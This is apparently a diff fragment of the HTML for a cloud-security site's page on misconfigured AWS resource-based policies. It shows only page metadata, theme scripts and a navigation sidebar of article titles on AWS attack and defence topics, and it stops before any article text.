Cloud"><meta property=og:description content="Common misconfigurations of resource-based policies and how they can be abused."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Misconfigured Resource-Based Policies - Hacking The Cloud"><meta property=twitter:description content="Common misconfigurations of resource-based policies and how they can be abused."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Common misconfigurations of resource-based policies and how they can be abused."><link href=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ rel=canonical><link href=../s3_streaming_copy/ rel=prev><link href=exploit_amplify_vulnerability_in_same_account_scenario/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Misconfigured Resource-Based Policies - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Misconfigured Resource-Based Policies - Hacking The Cloud"><meta property=og:description content="Common misconfigurations of resource-based policies and how they can be abused."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/exploitation/Misconfigured_Resource-Based_Policies/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Misconfigured Resource-Based Policies - Hacking The Cloud"><meta property=twitter:description content="Common misconfigurations of resource-based policies and how they can be abused."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/exploitation/Misconfigured_Resource-Based_Policies/index.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#the-principal-and-risks class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Misconfigured Resource-Based Policies </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3 checked> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13 checked> <div class="md-nav__link md-nav__container"> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link md-nav__link--active" for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=true> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> 